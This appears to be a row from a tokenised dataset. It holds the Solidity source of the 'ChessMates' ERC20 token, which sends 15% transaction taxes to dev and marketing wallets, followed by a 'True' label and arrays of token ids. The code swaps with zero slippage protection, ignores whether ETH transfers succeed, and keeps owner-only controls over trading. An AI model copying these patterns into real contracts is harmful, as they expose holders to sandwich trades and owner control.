}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow. (easter egg from the genius dev @nomessages9.)
*/
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
}
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns (int256) {
int256 b = int256(a);
require(b >= 0);
return b;
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract ChessMates is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public constant deadAddress = address(0xdead);
bool private swapping;
address payable private dev1Wallet;
address payable private dev2Wallet;
address payable private dev3Wallet;
address payable private dev4Wallet;
address payable private dev5Wallet;
address payable public marketingWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
bool private gasLimitActive = true;
uint256 private gasPriceLimit = 561 * 1 gwei; // do not allow over x gwei for launch
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
uint256 public buyTotalDevFees;
uint256 public sellTotalDevFees;
uint256 private buyDev1Fee;
uint256 private buyDev2Fee;
uint256 private buyDev3Fee;
uint256 private buyDev4Fee;
uint256 private buyDev5Fee;
uint256 public marketingFee;
uint256 private sellDev1Fee;
uint256 private sellDev2Fee;
uint256 private sellDev3Fee;
uint256 private sellDev4Fee;
uint256 private sellDev5Fee;
uint256 private tokensForDev1;
uint256 private tokensForDev2;
uint256 private tokensForDev3;
uint256 private tokensForDev4;
uint256 private tokensForDev5;
uint256 private tokensForMarketing;
/******************/
// exlcude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event BuyBackTriggered(uint256 amount);
event OwnerForcedSwapBack(uint256 timestamp);
constructor() ERC20("ChessMates", "CHSM") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyDev1Fee = 4; //main dev
uint256 _buyDev2Fee = 3; //nft+p2e
uint256 _buyDev3Fee = 2; //website development
uint256 _buyDev4Fee = 2; //mods
uint256 _buyDev5Fee = 1; //buybacks
uint256 _marketingFee =3; //marketing
uint256 _sellDev1Fee = 7; //main dev
uint256 _sellDev2Fee = 3; //nft+p2e
uint256 _sellDev3Fee = 2; //website development
uint256 _sellDev4Fee = 2; //mods
uint256 _sellDev5Fee = 1; //buybacks
uint256 totalSupply = 1 * 1e12 * 1e18;
maxTransactionAmount = totalSupply * 5 / 1000; // 0.5% maxTransactionAmountTxn
maxWallet = totalSupply * 2 / 100; // 2% maxWallet
swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap wallet
buyDev1Fee = _buyDev1Fee;
buyDev2Fee = _buyDev2Fee;
buyDev3Fee = _buyDev3Fee;
buyDev4Fee = _buyDev4Fee;
buyDev5Fee = _buyDev5Fee;
marketingFee = _marketingFee;
sellDev1Fee = _sellDev1Fee;
sellDev2Fee = _sellDev2Fee;
sellDev3Fee = _sellDev3Fee;
sellDev4Fee = _sellDev4Fee;
sellDev5Fee = _sellDev5Fee;
buyTotalDevFees = _buyDev1Fee + _buyDev2Fee + _buyDev3Fee + _buyDev4Fee + _buyDev5Fee;
buyTotalDevFees += _marketingFee;
sellTotalDevFees = _sellDev1Fee + _sellDev2Fee + _sellDev3Fee + _sellDev4Fee + _sellDev5Fee;
dev1Wallet = payable(0x2DD9bdb789d5F3866b7E1777850a3Bf95b723996); // set as dev1 wallet
dev2Wallet = payable(0x8aC3891c8a04d5ae067801Daa86Cb94201bA6A21); // set as dev2 wallet
dev3Wallet = payable(0xDA4e96997fE791F483598249450d96124fE6c7F3); // set as dev3 wallet
dev4Wallet = payable(0x615eFd09AD6676f0aeB9F470c51F024709168598); // set as dev4 wallet
dev5Wallet = payable(0x45547cE71D540FA0F5d13e1cB74Ef52838Cc8D9e); // set as dev5 wallet
marketingWallet = payable(0x5fdAd51D034EFB97a5Fe06f9F5cdF2731e7737E5); //marketing wallet
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromFees(marketingWallet, true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
excludeFromMaxTransaction(marketingWallet, true);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(msg.sender, totalSupply);
}
receive() external payable {
}
// turn on trading
function enableTrading() external onlyOwner {
tradingActive = true;
swapEnabled = true;
}
// only for use in emergencies
/*function disableTrading() external onlyOwner {
tradingActive = false;
swapEnabled = false;
} */ //commenting out because we not beta
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool){
limitsInEffect = false;
gasLimitActive = false;
transferDelayEnabled = false;
return true;
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool){
transferDelayEnabled = false;
return true;
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply.");
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.5%");
maxTransactionAmount = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
event BoughtEarly(address indexed sniper);
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
// only use to prevent sniper buys in the first blocks.
if (gasLimitActive && automatedMarketMakerPairs[from]) {
require(tx.gasprice <= gasPriceLimit, "Gas price exceeds limit.");
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
//when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else {
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if(takeFee){
// on sell
if (automatedMarketMakerPairs[to] && sellTotalDevFees > 0){
fees = amount.mul(sellTotalDevFees).div(100);
tokensForDev1 += fees * sellDev1Fee / sellTotalDevFees;
tokensForDev2 += fees * sellDev2Fee / sellTotalDevFees;
tokensForDev3 += fees * sellDev3Fee / sellTotalDevFees;
tokensForDev4 += fees * sellDev4Fee / sellTotalDevFees;
tokensForDev5 += fees * sellDev5Fee / sellTotalDevFees;
}
// on buy
else if(automatedMarketMakerPairs[from] && buyTotalDevFees > 0) {
fees = amount.mul(buyTotalDevFees).div(100);
tokensForDev1 += fees * buyDev1Fee / buyTotalDevFees;
tokensForDev2 += fees * buyDev2Fee / buyTotalDevFees;
tokensForDev3 += fees * buyDev3Fee / buyTotalDevFees;
tokensForDev4 += fees * buyDev4Fee / buyTotalDevFees;
tokensForDev5 += fees * buyDev5Fee / buyTotalDevFees;
tokensForMarketing += fees * marketingFee / buyTotalDevFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
//swapTokensForEth(fees);
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
deadAddress,
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForDev1 + tokensForDev2 + tokensForDev3 + tokensForDev4 + tokensForDev5 + tokensForMarketing;
if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
//uint256 initialETHBalance = address(this).balance;
swapTokensForEth(totalTokensToSwap);
uint256 ethBalance = address(this).balance;
uint256 ethForDev1 = ethBalance.mul(tokensForDev1).div(totalTokensToSwap);
uint256 ethForDev2 = ethBalance.mul(tokensForDev2).div(totalTokensToSwap);
uint256 ethForDev3 = ethBalance.mul(tokensForDev3).div(totalTokensToSwap);
uint256 ethForDev4 = ethBalance.mul(tokensForDev4).div(totalTokensToSwap);
uint256 ethForDev5 = ethBalance.mul(tokensForDev5).div(totalTokensToSwap);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
tokensForDev1 = 0;
tokensForDev2 = 0;
tokensForDev3 = 0;
tokensForDev4 = 0;
tokensForDev5 = 0;
tokensForMarketing = 0;
(bool success,) = dev1Wallet.call{value: ethForDev1}("");
(success,) = dev2Wallet.call{value: ethForDev2}("");
(success,) = dev3Wallet.call{value: ethForDev3}("");
(success,) = dev4Wallet.call{value: ethForDev4}("");
(success,) = dev5Wallet.call{value: ethForDev5}("");
(success,) = marketingWallet.call{value: ethForMarketing}("");
}
// force Swap back if slippage above 49% for launch.
function forceSwapBack() external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
require(contractBalance >= totalSupply() / 100, "Can only swap back if more than 1% of tokens stuck on contract");
swapBack();
emit OwnerForcedSwapBack(block.timestamp);
}
// useful for buybacks or to reclaim any ETH on the contract in a way that helps holders.
function buyBackTokens(uint256 ethAmountInWei) external onlyOwner {
// generate the uniswap pair path of weth -> eth
address[] memory path = new address[](2);
path[0] = uniswapV2Router.WETH();
path[1] = address(this);
// make the swap
uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: ethAmountInWei}(
0, // accept any amount of Ethereum
path,
address(0xdead),
block.timestamp
);
emit BuyBackTriggered(ethAmountInWei);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
2260,
1011,
2340,
1008,
1013,
1013,
1008,
7433,
15416,
1011,
1002,
10381,
6491,
19204,
25524,
1024,
2321,
1003,
4965,
1013,
5271,
4171,
1017,
1003,
5821,
2006,
5309,
1010,
2717,
2005,
9671,
2458,
3206,
2000,
2022,
17738,
22392,
2044,
4888,
1998,
2057,
2024,
2469,
2053,
2582,
3431,
2342,
2000,
2022,
2081,
999,
4098,
4425,
1024,
1015,
1010,
2199,
1010,
2199,
1010,
2199,
1010,
2199,
1006,
1015,
23458,
1007,
4098,
12598,
1006,
2006,
4888,
1007,
1024,
1019,
1010,
2199,
1010,
2199,
1010,
2199,
1006,
1014,
1012,
1019,
1003,
1007,
4098,
15882,
1006,
2006,
4888,
1007,
1024,
2322,
1010,
2199,
1010,
2199,
1010,
2199,
1006,
1016,
1003,
1007,
2753,
1003,
1997,
19204,
2015,
5296,
3202,
2077,
6202,
999,
2053,
2136,
19204,
2015,
1010,
2053,
3653,
5096,
1010,
2053,
2797,
5096,
100,
1024,
16770,
1024,
1013,
1013,
1056,
1012,
2033,
1013,
7433,
15416,
18715,
2368,
100,
1024,
16770,
1024,
1013,
1013,
7433,
15416,
18715,
2368,
1012,
5658,
1013,
100,
1024,
8299,
1024,
1013,
1013,
7479,
1012,
10474,
1012,
4012,
1013,
7433,
15416,
18715,
2368,
100,
1024,
16770,
1024,
1013,
1013,
7433,
15416,
18715,
2368,
1012,
5658,
1013,
1059,
2361,
1011,
4180,
1013,
2039,
11066,
2015,
1013,
25682,
1013,
2260,
1013,
7433,
23298,
1011,
1058,
2487,
1011,
2345,
1012,
11135,
2236,
5860,
19771,
5017,
1024,
3531,
2123,
1005,
1056,
3119,
2062,
2084,
2017,
2064,
8984,
1998,
2000,
2467,
1040,
7677,
2099,
1012,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1022,
1012,
1023,
1025,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
1035,
5796,
2290,
2850,
2696,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
27507,
2655,
2850,
2696,
1007,
1063,
2023,
1025,
1013,
1013,
4223,
2110,
14163,
2696,
8553,
5432,
2302,
11717,
24880,
16044,
1011,
2156,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
5024,
3012,
1013,
3314,
1013,
25717,
2487,
2709,
5796,
2290,
1012,
2951,
1025,
1065,
1065,
8278,
1045,
19496,
26760,
9331,
2615,
2475,
4502,
4313,
1063,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
3643,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
3643,
1007,
1025,
3853,
2171,
1006,
1007,
6327,
5760,
5651,
1006,
5164,
3638,
1007,
1025,
3853,
6454,
1006,
1007,
6327,
5760,
5651,
1006,
5164,
3638,
1007,
1025,
3853,
26066,
2015,
1006,
1007,
6327,
5760,
5651,
1006,
21318,
3372,
2620,
1007,
1025,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
3954,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
3643,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
4651,
1006,
4769,
2000,
1010,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
